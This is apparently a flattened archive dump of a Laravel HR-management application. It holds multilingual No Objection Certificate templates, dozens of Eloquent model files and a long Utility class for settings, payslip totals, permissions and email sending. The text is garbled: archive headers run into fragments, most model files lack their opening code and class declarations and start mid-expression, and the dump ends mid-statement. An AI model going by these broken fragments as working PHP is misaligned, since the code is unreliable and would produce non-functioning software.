Bu sertifika, Bayan / Bay için bir İtiraz Yok Sertifikası (NoC) talep etmek içindir {employee_name} başka bir kuruluşa katılır ve hizmet verirse. Tüm bakiyelerini kapattığı ve teminatını aldığı bilgisi verilir {app_name} Şirket.

Kendisine gelecekte iyi şanslar diliyoruz.

Samimi olarak,

{employee_name}

{designation}

İmza

{app_name}

', 'zh' => '

无异议证书

日期: {date}

致相关负责人

此证书旨在为女士/先生申请无异议证书(NoC)。{employee_name} 如果她/他加入任何其他组织并向其提供服务。据了解,她/他已结清所有余额并从以下机构收到她/他的担保: {app_name} 公司.

我们祝她/他未来好运.

真挚地,

{employee_name}

{designation}

签名

{app_name}

', 'he' => '

אין תעודת התנגדות

תַאֲרִיך: {date}

לכל מאן דבעי

תעודה זו מיועדת לתבוע אישור ללא התנגדות (NoC) עבור גב / מר. {employee_name} אם הוא/ה מצטרף ומספק את שירותיו/ה לכל ארגון אחר. זה מודיע כפי שהיא / הוא פינה את כל היתרות שלה / שלו וקיבל את האבטחה שלה / שלו {app_name} חֶברָה.

אנו מאחלים לו/לה בהצלחה בעתיד.

בכנות,

{employee_name}

{designation}

חֲתִימָה

{app_name}

', 'pt-br' => '

Certificado de não objeção

Data: {date}

A quem interessar

Este certificado é para reivindicar um Certificado de Não Objeção (NoC) para a Sra. / Sr. {employee_name} se ela ingressar e fornecer seus serviços a qualquer outra organização. É informado que ela cancelou todos os seus saldos e recebeu sua garantia da empresa {app_name}.

Desejamos-lhe boa sorte no futuro.

Sinceramente,

{employee_name}

{designation}

Assinatura

{app_name}

', ]; foreach($defaultTemplate as $lang => $content) { NOC::create( [ 'lang' => $lang, 'content' => $content, 'created_by' => $user_id, ] ); } } } Models/Payer.php000064400000000316150364306410007562 0ustar00first(); return $account; } public function payment_type($payment) { $payment = PaymentType::where('id','=',$payment)->first(); return $payment; } public function payment_types() { return $this->hasOne('App\Models\PaymentType', 'id', 'payment_type_id'); } } Models/CustomQuestion.php000064400000000453150364306410011506 0ustar00 'Yes', 'no' => 'No', ]; } Models/LeaveType.php000064400000000303150364306410010374 0ustar00hasMany('App\Models\Competencies', 'type', 'id'); } } Models/TransactionOrder.php000064400000000777150364306410011776 0ustar00hasOne('App\Models\User', 'id', 'req_user_id'); } public static $status = [ 'Rejected', 'In Progress', 'Approved', ]; } Models/ReferralTransaction.php000064400000001372150364306410012455 0ustar00hasOne('App\Models\Plan', 'id', 'plan_id'); } public function getUser() { return $this->hasOne('App\Models\User', 'id', 'company_id'); } public function getCompany() { return $this->hasOne('App\Models\User', 'referral_code', 'referral_code'); } } Models/Meeting.php000064400000000446150364306410010076 0ustar00hasOne('App\Models\ContractType', 'id', 'type'); } public function files() { return $this->hasMany('App\Models\ContractAttechment', 'contract_id' , 'id'); } public function employee() { return $this->hasOne('App\Models\User', 'id', 'employee_name'); } public function comment() { return $this->hasMany('App\Models\ContractComment', 'contract_id', 'id'); } public function note() { return $this->hasMany('App\Models\ContractNote', 'contract_id', 'id'); } public function ContractAttechment() { return $this->belongsTo('App\Models\ContractAttechment', 'id', 'contract_id'); } public function ContractComment() { return $this->belongsTo('App\Models\ContractComment', 'id', 'contract_id'); } public function ContractNote() { return $this->belongsTo('App\Models\ContractNote', 'id', 'contract_id'); } public static function getContractSummary($contracts) { $total = 0; foreach($contracts as $contract) { $total += $contract->value; } return \Auth::user()->priceFormat($total); } public static function status() { $status = [ 'accept' => 'Accept', 'decline' => 'Decline', ]; return $status; } } Models/AttendanceEmployee.php000064400000001122150364306410012244 0ustar00hasOne('App\Models\Employee', 'user_id', 'employee_id'); } public function employee() { return $this->hasOne('App\Models\Employee', 'id', 'employee_id'); } } Models/ContractNote.php000064400000000400150364306410011077 0ustar00hasOne('App\Models\Branch', 'id', 'branch'); } } Models/SaturationDeduction.php000064400000001211150364306410012465 0ustar00hasOne('App\Models\Employee', 'id', 'employee_id')->first(); } public function deduction_option() { return $this->hasOne('App\Models\DeductionOption', 'id', 'deduction_option')->first(); } public static $saturationDeductiontype = [ 'fixed'=>'Fixed', 'percentage'=> 'Percentage', ]; } Models/PaySlip.php000064400000001155150364306410010065 0ustar00hasOne('App\Models\Employee', 'id', 'employee_id'); } } Models/Award.php000064400000000757150364306410007551 0ustar00hasOne('App\Models\AwardType', 'id', 'award_type'); } public function employee() { return $this->hasOne('App\Models\Employee', 'id', 'employee_id'); } } Models/Resignation.php000064400000000573150364306410010771 0ustar00hasOne('App\Models\Employee', 'id', 'employee_id'); } } Models/Indicator.php000064400000002136150364306410010420 0ustar00hasOne('App\Models\Branch', 'id', 'branch'); } public function departments() { return $this->hasOne('App\Models\Department', 'id', 'department'); } public function designations() { return $this->hasOne('App\Models\Designation', 'id', 'designation'); } public function user() { return $this->hasOne('App\Models\User', 'id', 'created_user'); } } Models/Asset.php000064400000001262150364306410007562 0ustar00get()->pluck('id'); $users = []; foreach($employees as $user) { $emp=Employee::find($user); $users[] = User::where('id',$emp->user_id)->first(); } return $users; } } Models/Allowance.php000064400000001173150364306410010411 0ustar00hasOne('App\Models\Employee', 'id', 'employee_id')->first(); } public function allowance_option() { return $this->hasOne('App\Models\AllowanceOption', 'id', 'allowance_option')->first(); } public static $Allowancetype = [ 'fixed'=>'Fixed', 'percentage'=> 'Percentage', ]; } Models/Transfer.php000064400000001215150364306410010265 0ustar00hasMany('App\Models\Department', 'id', 'department_id')->first(); } public function branch() { return $this->hasMany('App\Models\Branch', 'id', 'branch_id')->first(); } public function employee() { return $this->hasOne('App\Models\Employee', 'id', 'employee_id'); } } Models/Template.php000064400000000514150364306410010255 0ustar00hasOne('App\Models\TerminationType', 'id', 'termination_type'); } public function employee() { return $this->hasOne('App\Models\Employee', 'id', 'employee_id'); } } Models/InterviewSchedule.php000064400000001012150364306410012125 0ustar00hasOne('App\Models\JobApplication','id','candidate'); } public function users() { return $this->hasOne('App\Models\User', 'id', 'employee'); } } Models/Job.php000064400000002030150364306410007207 0ustar00 'Active', 'in_active' => 'In Active', ]; public function branches() { return $this->hasOne('App\Models\Branch', 'id', 'branch'); } public function categories() { return $this->hasOne('App\Models\JobCategory', 'id', 'category'); } public function questions() { $ids = explode(',', $this->custom_question); return CustomQuestion::whereIn('id', $ids)->get(); } public function createdBy() { return $this->hasOne('App\Models\User', 'id', 'created_by'); } } Models/JobOnBoard.php000064400000001775150364306410010473 0ustar00hasOne('App\Models\JobApplication', 'id', 'application'); } public static $status = [ '' => 'Select Status', 'pending' => 'Pending', 'cancel' => 'Cancel', 'confirm' => 'Confirm', ]; public static $job_type = [ '' => 'Select Job Type', 'full time' => 'Full Time', 'part time' => 'Part Time', ]; public static $salary_duration = [ '' => 'Select Salary Duration', 'monthly' => 'Monthly', 'weekly' => 'Weekly', ]; } Models/Order.php000064400000001375150364306410007563 0ustar00hasOne('App\Models\UserCoupon', 'order', 'order_id'); } } Models/NotificationTemplates.php000064400000000432150364306410013006 0ustar00hasOne('App\Models\Branch','id','branch_id'); } } Models/GoalType.php000064400000000261150364306410010225 0ustar00hasOne('App\Models\User', 'id', 'note_created'); } } Models/TimeSheet.php000064400000000700150364306410010366 0ustar00hasOne('App\Models\User', 'id', 'employee_id'); } public function employees() { return $this->hasOne('App\Models\Employee', 'id', 'employee_id'); } } Models/SetSalary.php000064400000000152150364306410010407 0ustar00 'Technical', // 'organizational' => 'Organizational', // 'behavioural' => 'Behavioural', // ]; public function getPerformance_type() { return $this->hasOne('App\Models\Performance_Type', 'id', 'type'); } } Models/NotificationTemplateLangs.php000064400000000671150364306410013615 0ustar00belongsTo(Languages::class, 'lang', 'code'); } } Models/PaymentType.php000064400000000264150364306410010763 0ustar00first(); return $account; } public static function payee($payee) { $payee = Payees::where('id','=',$payee)->first(); return $payee; } public function expense_category($category) { $category = ExpenseType::where('id', '=', $category)->first(); return $category; } public function payment_type($payment) { $payment = PaymentType::where('id','=',$payment)->first(); return $payment; } public function accounts() { return $this->hasOne('App\Models\AccountList', 'id', 'account_id'); } public function payees() { return $this->hasOne('App\Models\Payees', 'id', 'payee_id'); } public function employee_payees() { return $this->hasOne('App\Models\Employee', 'id', 'payee_id'); } public function expense_categorys() { return $this->hasOne('App\Models\ExpenseType', 'id', 'expense_category_id'); } public function payment_types() { return $this->hasOne('App\Models\PaymentType', 'id', 'payment_type_id'); } } Models/Warning.php000064400000001157150364306410010113 0ustar00hasOne('App\Models\Employee', 'id', 'employee_id')->first(); } public function warningTo($warningto) { return Employee::where('id',$warningto)->first(); } public function warningBy($warningby) { return Employee::where('id',$warningby)->first(); } } Models/JobApplication.php000064400000001174150364306410011403 0ustar00hasOne('App\Models\Job', 'id', 'job'); } } Models/EventEmployee.php000064400000000321150364306410011257 0ustar00hasOne('App\Models\Branch', 'id', 'branch'); } public function employees() { return $this->hasOne('App\Models\Employee', 'id', 'employee'); } } Models/Complaint.php000064400000001241150364306410010426 0ustar00hasOne('App\Models\Employee', 'id', 'employee_id')->first(); } public function complaintFrom($complaint_from) { return Employee::where('id',$complaint_from)->first(); } public function complaintAgainst($complaint_against) { return Employee::where('id',$complaint_against)->first(); } } Models/ReferralSetting.php000064400000000512150364306410011600 0ustar00hasOne('App\Models\User', 'id', 'user_id'); } } Models/ContractType.php000064400000000265150364306410011124 0ustar00hasOne('App\Models\Designation', 'id', 'designation_id'); } public function employee() { return $this->hasOne('App\Models\Employee', 'id', 'employee_id'); } } Models/Designation.php000064400000000644150364306410010752 0ustar00hasOne('App\Models\Branch','id','branch_id'); } public function department(){ return $this->hasOne('App\Models\Department','id','department_id'); } } Models/ChMessage.php000064400000000160150364306410010336 0ustar00hasOne('App\Models\Branch', 'id', 'branch'); } public function types() { return $this->hasOne('App\Models\TrainingType', 'id', 'training_type'); } public function employees() { return $this->hasOne('App\Models\Employee', 'id', 'employee'); } public function trainers() { return $this->hasOne('App\Models\Trainer', 'id', 'trainer'); } public static function status($status) { if($status=='0') { return 'Pending'; } if($status=='1') { return 'Started'; } if($status=="2") { return "Completed"; } if($status=="3") { return "Terminated"; } } } Models/TrainingType.php000064400000000265150364306410011122 0ustar00hasOne('App\Models\GoalType', 'id', 'goal_type'); } public function branches() { return $this->hasOne('App\Models\Branch', 'id', 'branch'); } public static $status = [ 'Not Started', 'In Progress', 'Completed', ]; } Models/IpRestrict.php000064400000000261150364306410010571 0ustar00belongsTo(Languages::class, 'lang', 'code'); } } Models/TicketReply.php000064400000000520150364306410010736 0ustar00hasOne('App\Models\User', 'id', 'created_by'); } } Models/Plan.php000064400000002506150364306410007377 0ustar00 'Select Duration', 'Lifetime' => 'Lifetime', 'month' => 'Per Month', 'year' => 'Per Year', ]; public function status() { return [ __('Lifetime'), __('Per Month'), __('Per Year'), ]; } public static function total_plan() { return Plan::count(); } public static function most_purchese_plan() { $free_plan = Plan::where('price', '<=', 0)->first()->id; return User:: select('plans.name','plans.id', DB::raw('count(*) as total')) ->join('plans', 'plans.id' ,'=', 'users.plan') ->where('type', '=', 'company') ->where('plan', '!=', $free_plan) ->orderBy('total','Desc') ->groupBy('plans.name','plans.id') ->first(); } } Models/Ticket.php000064400000002142150364306410007724 0ustar00type == 'employee') { return TicketReply:: where('ticket_id', $this->id)->where('is_read', 0)->where('created_by', '!=', \Auth::user()->id)->count('id'); } else { return TicketReply:: where('ticket_id', $this->id)->where('is_read', 0)->where('created_by', '!=', \Auth::user()->creatorId())->count('id'); } } public function createdBy() { return $this->hasOne('App\Models\user', 'id', 'ticket_created'); } public function getUser() { return $this->hasOne('App\Models\Employee', 'user_id', 'employee_id'); } } Models/UserCoupon.php000064400000000622150364306410010604 0ustar00hasOne('App\Models\User', 'id', 'user'); } public function coupon_detail() { return $this->hasOne('App\Models\Coupon', 'id', 'coupon'); } } Models/Utility.php000064400000317177150364306410010165 0ustar00first(); if ($user) { $data = $data->where('created_by', '=', $user_id)->get(); } else { $data = DB::table('settings')->where('created_by', '=', 1)->get(); } } if (\Auth::check()) { $data = $data->where('created_by', '=', \Auth::user()->creatorId())->get(); if (count($data) == 0) { $data = DB::table('settings')->where('created_by', '=', 1)->get(); } } else { $data->where('created_by', '=', 1); $data = $data->get(); } $settings = [ "site_currency" => "USD", "site_currency_symbol" => "$", "site_currency_symbol_position" => "pre", "site_date_format" => "M j, Y", "site_time_format" => "g:i A", "company_name" => "", "company_address" => "", "company_city" => "", "company_state" => "", "company_zipcode" => "", "company_country" => "", "company_telephone" => "", "company_email" => "", "company_email_from_name" => "", "employee_prefix" => "#EMP00", "footer_title" => "", "footer_notes" => "", "company_start_time" => "09:00", "company_end_time" => "18:00", 'new_user' => '1', 'new_employee' => '1', 'new_payroll' => '1', 'new_ticket' => '1', 'new_award' => '1', 'employee_transfer' => '1', 'employee_resignation' => '1', 'employee_trip' => '1', 'employee_promotion' => '1', 'employee_complaints' => '1', 'employee_warning' => '1', 'employee_termination' => '1', 'leave_status' => '1', 'contract' => '1', "default_language" => "en", "display_landing_page" => "on", "ip_restrict" => "on", "title_text" => "", "footer_text" => "", "gdpr_cookie" => "", "cookie_text" => "", "metakeyword" => "", "metadesc" => "", "zoom_account_id" => "", "zoom_client_id" => "", "zoom_client_secret" => "", 'disable_signup_button' => "on", "theme_color" => "theme-3", "cust_theme_bg" => "on", "cust_darklayout" => "off", "SITE_RTL" => "off", "company_logo" => 'logo-dark.png', "company_logo_light" => 'logo-light.png', "dark_logo" => "logo-dark.png", "light_logo" => "logo-light.png", "contract_prefix" => "#CON", "storage_setting" => "local", "local_storage_validation" => "jpg,jpeg,png,xlsx,xls,csv,pdf", "local_storage_max_upload_size" => "2048000", "s3_key" => "", "s3_secret" => "", "s3_region" => "", "s3_bucket" => "", "s3_url" => "", "s3_endpoint" => "", "s3_max_upload_size" => "", "s3_storage_validation" => "", "wasabi_key" => "", "wasabi_secret" => "", "wasabi_region" => "", "wasabi_bucket" => "", "wasabi_url" => "", "wasabi_root" => "", "wasabi_max_upload_size" => "", "wasabi_storage_validation" => "", "google_clender_id" => "", "google_calender_json_file" => "", "is_enabled" => "", "email_verification" => "", // "seo_is_enabled" => "", "meta_title" => "", "meta_image" => "", "meta_description" => "", 'enable_cookie' => 'on', 'necessary_cookies' => 'on', 'cookie_logging' => 'on', 'cookie_title' => 'We use cookies!', 'cookie_description' => 'Hi, this website uses essential cookies to ensure its proper operation and tracking cookies to understand how you interact with it', 'strictly_cookie_title' => 'Strictly necessary cookies', 'strictly_cookie_description' => 'These cookies are essential for the proper functioning of my website. Without these cookies, the website would not work properly', 'more_information_description' => 'For any queries in relation to our policy on cookies and your choices, please contact us', 'contactus_url' => '#', 'chatgpt_key' => '', 'chatgpt_model' => '', 'enable_chatgpt' => '', 'mail_driver' => '', 'mail_host' => '', 'mail_port' => '', 'mail_username' => '', 'mail_password' => '', 'mail_encryption' => '', 'mail_from_address' => '', 'mail_from_name' => '', 'timezone' => '', 'pusher_app_id' => '', 'pusher_app_key' => '', 'pusher_app_secret' => '', 'pusher_app_cluster' => '', 'recaptcha_module' => '', 'google_recaptcha_key' => '', 'google_recaptcha_secret' => '', 'google_recaptcha_version' => '', 'color_flag' => 'false', 'zkteco_api_url' => '', 'username' => '', 'user_password' => '', 'auth_token' => '', ]; foreach ($data as $row) { $settings[$row->name] = $row->value; } return $settings; } public static function getStorageSetting() { $data = DB::table('settings'); $data = $data->where('created_by', '=', 1); $data = $data->get(); $settings = [ "storage_setting" => "local", "local_storage_validation" => "jpg,jpeg,png,xlsx,xls,csv,pdf", "local_storage_max_upload_size" => "2048000", "s3_key" => "", "s3_secret" => "", "s3_region" => "", "s3_bucket" => "", "s3_url" => "", "s3_endpoint" => "", "s3_max_upload_size" => "", "s3_storage_validation" => "", "wasabi_key" => "", "wasabi_secret" => "", "wasabi_region" => "", "wasabi_bucket" => "", "wasabi_url" => "", "wasabi_root" => "", "wasabi_max_upload_size" => "", "wasabi_storage_validation" => "", ]; foreach ($data as $row) { $settings[$row->name] = $row->value; } return $settings; } // get date format public static function getDateFormated($date, $time = false) { if (!empty($date) && $date != '0000-00-00') { if ($time == true) { return date("d M Y H:i A", strtotime($date)); } else { return date("d M Y", strtotime($date)); } } else { return ''; } } // public static function languages() // { // $dir = base_path() . '/resources/lang/'; // $glob = glob($dir . "*", GLOB_ONLYDIR); // $arrLang = array_map( // function ($value) use ($dir) { // return str_replace($dir, '', $value); // }, // $glob // ); // $arrLang = array_map( // function ($value) use ($dir) { // return preg_replace('/[0-9]+/', '', $value); // }, // $arrLang // ); // $arrLang = array_filter($arrLang); // return $arrLang; // } public static function languages() { if (self::$languages === null) { self::$languages = self::fetchlanguages(); } return self::$languages; } public static function fetchlanguages() { $languages = Utility::langList(); if (\Schema::hasTable('languages')) { $settings = self::settings(); if (!empty($settings['disable_lang'])) { $disabledlang = explode(',', $settings['disable_lang']); $languages = Languages::whereNotIn('code', $disabledlang)->pluck('fullName', 'code'); } else { $languages = Languages::pluck('fullName', 'code'); } } return $languages; } public static function getValByName($key) { $setting = Utility::settings(); if (!isset($setting[$key]) || empty($setting[$key])) { $setting[$key] = ''; } return $setting[$key]; } public static function setEnvironmentValue(array $values) { $envFile = app()->environmentFilePath(); $str = file_get_contents($envFile); if (count($values) > 0) { foreach ($values as $envKey => $envValue) { $keyPosition = strpos($str, "{$envKey}="); $endOfLinePosition = strpos($str, "\n", $keyPosition); $oldLine = substr($str, $keyPosition, $endOfLinePosition - $keyPosition); // If key does not exist, add it if (!$keyPosition || !$endOfLinePosition || !$oldLine) { $str .= "{$envKey}='{$envValue}'\n"; } else { $str = str_replace($oldLine, "{$envKey}='{$envValue}'", $str); } } } $str = substr($str, 0, -1); $str .= "\n"; if (!file_put_contents($envFile, $str)) { return false; } return true; } public static $emailStatus = [ 'new_user' => 'New User', 'new_employee' => 'New Employee', 'new_payroll' => 'New Payroll', 'new_ticket' => 'New Ticket', 'new_award' => 'New Award', 'employee_transfer' => 'Employee Transfer', 'employee_resignation' => 'Employee Resignation', 'employee_trip' => 'Employee Trip', 'employee_promotion' => 'Employee Promotion', 'employee_complaints' => 'Employee Complaints', 'employee_warning' => 'Employee Warning', 'employee_termination' => 'Employee Termination', 'leave_status' => 'Leave Status', 'contract' => 'Contract', ]; public static function employeePayslipDetail($employeeId, $month) { // allowance $earning['allowance'] = PaySlip::where('employee_id', $employeeId)->where('salary_month', $month)->get(); $employess = Employee::find($employeeId); $totalAllowance = 0; $arrayJson = json_decode($earning['allowance']); foreach ($arrayJson as $earn) { $allowancejson = json_decode($earn->allowance); foreach ($allowancejson as $allowances) { if ($allowances->type == 'percentage') { $empall = $allowances->amount * $earn->basic_salary / 100; } else { $empall = $allowances->amount; } $totalAllowance += $empall; } } // commission $earning['commission'] = PaySlip::where('employee_id', $employeeId)->where('salary_month', $month)->get(); $employess = Employee::find($employeeId); $totalCommission = 0; $arrayJson = json_decode($earning['commission']); foreach ($arrayJson as $earn) { $commissionjson = json_decode($earn->commission); foreach ($commissionjson as $commissions) { if ($commissions->type == 'percentage') { $empcom = $commissions->amount * $earn->basic_salary / 100; } else { $empcom = $commissions->amount; } $totalCommission += $empcom; } } // otherpayment $earning['otherPayment'] = PaySlip::where('employee_id', $employeeId)->where('salary_month', $month)->get(); $employess = Employee::find($employeeId); $totalotherpayment = 0; $arrayJson = json_decode($earning['otherPayment']); foreach ($arrayJson as $earn) { $otherpaymentjson = json_decode($earn->other_payment); foreach ($otherpaymentjson as $otherpay) { if ($otherpay->type == 'percentage') { $empotherpay = $otherpay->amount * $earn->basic_salary / 100; } else { $empotherpay = $otherpay->amount; } $totalotherpayment += $empotherpay; } } //overtime $earning['overTime'] = Payslip::where('employee_id', $employeeId)->where('salary_month', $month)->get(); $ot = 0; $arrayJson = json_decode($earning['overTime']); foreach ($arrayJson as $overtime) { $overtimes = json_decode($overtime->overtime); foreach ($overtimes as $overt) { $OverTime = $overt->number_of_days * $overt->hours * $overt->rate; $ot += $OverTime; } } // loan $deduction['loan'] = PaySlip::where('employee_id', $employeeId)->where('salary_month', $month)->get(); $employess = Employee::find($employeeId); $totalloan = 0; $arrayJson = json_decode($deduction['loan']); foreach ($arrayJson as $loan) { $loans = json_decode($loan->loan); foreach ($loans as $emploans) { if ($emploans->type == 'percentage') { $emploan = $emploans->amount * $loan->basic_salary / 100; } else { $emploan = $emploans->amount; } $totalloan += $emploan; } } // saturation_deduction $deduction['deduction'] = PaySlip::where('employee_id', $employeeId)->where('salary_month', $month)->get(); $employess = Employee::find($employeeId); $totaldeduction = 0; $arrayJson = json_decode($deduction['deduction']); foreach ($arrayJson as $deductions) { $deduc = json_decode($deductions->saturation_deduction); foreach ($deduc as $deduction_option) { if ($deduction_option->type == 'percentage') { $empdeduction = $deduction_option->amount * $deductions->basic_salary / 100; } else { $empdeduction = $deduction_option->amount; } $totaldeduction += $empdeduction; } } $payslip['earning'] = $earning; $payslip['totalEarning'] = $totalAllowance + $totalCommission + $totalotherpayment + $ot; $payslip['deduction'] = $deduction; $payslip['totalDeduction'] = $totalloan + $totaldeduction; return $payslip; } public static function delete_directory($dir) { if (!file_exists($dir)) { return true; } if (!is_dir($dir)) { return unlink($dir); } foreach (scandir($dir) as $item) { if ($item == '.' || $item == '..') { continue; } if (!self::delete_directory($dir . DIRECTORY_SEPARATOR . $item)) { return false; } } return rmdir($dir); } public static function addNewData() { \Artisan::call('cache:forget spatie.permission.cache'); \Artisan::call('cache:clear'); $usr = \Auth::user(); $arrPermissions = [ "Manage Job Category", "Create Job Category", "Edit Job Category", "Delete Job Category", "Manage Job Stage", "Create Job Stage", "Edit Job Stage", "Delete Job Stage", "Manage Job", "Create Job", "Edit Job", "Delete Job", "Show Job", "Manage Job Application", "Create Job Application", "Edit Job Application", "Delete Job Application", "Show Job Application", "Move Job Application", "Add Job Application Note", "Delete Job Application Note", "Add Job Application Skill", "Manage Job OnBoard", "Manage Custom Question", "Create Custom Question", "Edit Custom Question", "Delete Custom Question", "Manage Interview Schedule", "Create Interview Schedule", "Edit Interview Schedule", "Delete Interview Schedule", "Manage Career", "Manage Competencies", "Create Competencies", "Edit Competencies", "Delete Competencies", "Create Webhook", "Edit Webhook", "Delete Webhook", "Manage Biometric Attendance", "Biometric Attendance Synchronize", ]; foreach ($arrPermissions as $ap) { // check if permission is not created then create it. $permission = Permission::where('name', 'LIKE', $ap)->first(); if (empty($permission)) { Permission::create(['name' => $ap]); } } $companyRole = Role::where('name', 'LIKE', 'company')->where('created_by', '=', $usr->creatorId())->first(); $companyPermissions = $companyRole->getPermissionNames()->toArray(); $companyNewPermission = [ "Manage Job Category", "Create Job Category", "Edit Job Category", "Delete Job Category", "Manage Job Stage", "Create Job Stage", "Edit Job Stage", "Delete Job Stage", "Manage Job", "Create Job", "Edit Job", "Delete Job", "Show Job", "Manage Job Application", "Create Job Application", "Edit Job Application", "Delete Job Application", "Show Job Application", "Move Job Application", "Add Job Application Note", "Delete Job Application Note", "Add Job Application Skill", "Manage Job OnBoard", "Manage Custom Question", "Create Custom Question", "Edit Custom Question", "Delete Custom Question", "Manage Interview Schedule", "Create Interview Schedule", "Edit Interview Schedule", "Delete Interview Schedule", "Manage Career", "Manage Competencies", "Create Competencies", "Edit Competencies", "Delete Competencies", "Create Webhook", "Edit Webhook", "Delete Webhook", "Manage Biometric Attendance", "Biometric Attendance Synchronize", ]; foreach ($companyNewPermission as $op) { // check if permission is not assign to owner then assign. if (!in_array($op, $companyPermissions)) { $permission = Permission::findByName($op); $companyRole->givePermissionTo($permission); } } $employeeRole = Role::where('name', 'LIKE', 'employee')->first(); $employeePermissions = $employeeRole->getPermissionNames()->toArray(); $employeeNewPermission = [ 'Manage Career', ]; foreach ($employeeNewPermission as $op) { // check if permission is not assign to owner then assign. if (!in_array($op, $employeePermissions)) { $permission = Permission::findByName($op); $employeeRole->givePermissionTo($permission); } } } public static function jobStage($id) { $stages = [ 'Applied', 'Phone Screen', 'Interview', 'Hired', 'Rejected', ]; foreach ($stages as $stage) { JobStage::create( [ 'title' => $stage, 'created_by' => $id, ] ); } } public static function getSetting() { if (self::$getsettings == null) { $data = DB::table('settings'); $data = $data->where('created_by', '=', 1)->get(); if (count($data) == 0) { $data = DB::table('settings')->where('created_by', '=', 1)->get(); } self::$getsettings = $data; } return self::$getsettings; } public static function sendEmailTemplate($emailTemplate, $mailTo, $obj) { $usr = \Auth::user(); //Remove Current Login user Email don't send mail to them if ($usr) { if (is_array($mailTo)) { unset($mailTo[$usr->id]); $mailTo = array_values($mailTo); } } // find template is exist or not in our record $template = EmailTemplate::where('slug', $emailTemplate)->first(); if (isset($template) && !empty($template)) { // check template is active or not by company $is_active = UserEmailTemplate::where('template_id', '=', $template->id)->first(); if ($is_active->is_active == 1) { $settings = self::settings(); $data = Utility::getSetting(); $setting = [ 'mail_driver' => '', 'mail_host' => '', 'mail_port' => '', 'mail_encryption' => '', 'mail_username' => '', 'mail_password' => '', 'mail_from_address' => '', 'mail_from_name' => '', ]; foreach ($data as $row) { $setting[$row->name] = $row->value; } // get email content language base if ($usr) { $content = EmailTemplateLang::where('parent_id', '=', $template->id)->where('lang', 'LIKE', $usr->lang)->first(); } else { $content = EmailTemplateLang::where('parent_id', '=', $template->id)->where('lang', 'LIKE', 'en')->first(); } $content['from'] = $template->from; if (!empty($content->content)) { $content->content = self::replaceVariable($content->content, $obj); // send email // try { // config([ // 'mail.driver' => $settings['mail_driver'], // 'mail.host' => $settings['mail_host'], // 'mail.port' => $settings['mail_port'], // 'mail.username' => $settings['mail_username'], // 'mail.password' => $settings['mail_password'], // 'mail.encryption' => $settings['mail_encryption'], // 'mail.from.address' => $settings['mail_from_address'], // 'mail.from.name' => $settings['mail_from_name'], // ]); // Mail::to($mailTo)->send(new CommonEmailTemplate($content, $settings, $mailTo[0])); // } catch (\Exception $e) { // $error = __('E-Mail has been not sent due to SMTP configuration'); // } try { config( [ 'mail.driver' => $settings['mail_driver'] ? $settings['mail_driver'] : $setting['mail_driver'], 'mail.host' => $settings['mail_host'] ? $settings['mail_host'] : $setting['mail_host'], 'mail.port' => $settings['mail_port'] ? $settings['mail_port'] : $setting['mail_port'], 'mail.encryption' => $settings['mail_encryption'] ? $settings['mail_encryption'] : $setting['mail_encryption'], 'mail.username' => $settings['mail_username'] ? $settings['mail_username'] : $setting['mail_username'], 'mail.password' => $settings['mail_password'] ? $settings['mail_password'] : $setting['mail_password'], 'mail.from.address' => $settings['mail_from_address'] ? $settings['mail_from_address'] : $setting['mail_from_address'], 'mail.from.name' => $settings['mail_from_name'] ? $settings['mail_from_name'] : $setting['mail_from_name'], ] ); Mail::to($mailTo)->send(new CommonEmailTemplate($content, $settings, $mailTo[0])); } catch (\Exception $e) { $error = __('E-Mail has been not sent due to SMTP configuration'); } if (isset($error)) { $arReturn = [ 'is_success' => false, 'error' => $error, ]; } else { $arReturn = [ 'is_success' => true, 'error' => false, ]; } } else { $arReturn = [ 'is_success' => false, 'error' => __('Mail not send, email is empty'), ]; } return $arReturn; } else { return [ 'is_success' => true, 'error' => false, ]; } } } public static function replaceVariable($content, $obj) { $arrVariable = [ '{email}', '{password}', '{app_name}', '{app_url}', '{employee_name}', '{employee_email}', '{employee_password}', '{employee_branch}', '{employee_department}', '{employee_designation}', '{name}', '{salary_month}', '{url}', '{ticket_title}', '{ticket_name}', '{ticket_code}', '{ticket_description}', '{award_name}', '{transfer_name}', '{transfer_date}', '{transfer_department}', '{transfer_branch}', '{transfer_description}', '{assign_user}', '{resignation_date}', '{employee_trip_name}', '{purpose_of_visit}', '{start_date}', '{end_date}', '{place_of_visit}', '{trip_description}', '{employee_promotion_name}', '{promotion_designation}', '{promotion_title}', '{promotion_date}', '{employee_complaints_name}', '{employee_warning_name}', '{warning_subject}', '{warning_description}', '{employee_termination_name}', '{notice_date}', '{termination_date}', '{termination_type}', '{leave_status_name}', '{leave_status}', '{leave_reason}', '{leave_start_date}', '{leave_end_date}', '{total_leave_days}', '{contract_subject}', '{contract_employee}', '{contract_start_date}', '{contract_end_date}', '{announcement_title}', '{branch_name}', '{year}', '{meeting_title}', '{date}', '{time}', '{occasion_name}', '{company_policy_name}', '{ticket_priority}', '{event_name}', '{contract_number}', '{contract_company_name}', ]; $arrValue = [ 'email' => '-', 'password' => '-', 'app_name' => '-', 'app_url' => '-', 'employee_name' => '-', 'employee_email' => '-', 'employee_password' => '-', 'employee_branch' => '-', 'employee_department' => '-', 'employee_designation' => '-', 'name' => '-', 'salary_month' => '-', 'url' => '-', 'ticket_title' => '-', 'ticket_name' => '-', 'ticket_code' => '-', 'ticket_description' => '-', 'award_name' => '-', 'transfer_name' => '-', 'transfer_date' => '-', 'transfer_department' => '-', 'transfer_branch' => '-', 'transfer_description' => '-', 'assign_user' => '-', 'resignation_date' => '-', 'employee_trip_name' => '-', 'purpose_of_visit' => '-', 'start_date' => '-', 'end_date' => '-', 'place_of_visit' => '-', 'trip_description' => '-', 'employee_promotion_name' => '-', 'promotion_designation' => '-', 'promotion_title' => '-', 'promotion_date' => '-', 'employee_complaints_name' => '-', 'employee_warning_name' => '-', 'warning_subject' => '-', 'warning_description' => '-', 'employee_termination_name' => '-', 'notice_date' => '-', 'termination_date' => '-', 'termination_type' => '-', 'leave_status_name' => '-', 'leave_status' => '-', 'leave_reason' => '-', 'leave_start_date' => '-', 'leave_end_date' => '-', 'total_leave_days' => '-', 'contract_subject' => '-', 'contract_employee' => '-', 'contract_start_date' => '-', 'contract_end_date' => '-', 'announcement_title' => '-', 'branch_name' => '-', 'year' => '-', 'meeting_title' => '-', 'date' => '-', 'time' => '-', 'occasion_name' => '-', 'company_policy_name' => '-', 'ticket_priority' => '-', 'event_name' => '-', 'contract_number' => '-', 'contract_company_name' => '-', ]; foreach ($obj as $key => $val) { $arrValue[$key] = $val; } $settings = Utility::settings(); $company_name = $settings['company_name']; $arrValue['app_name'] = 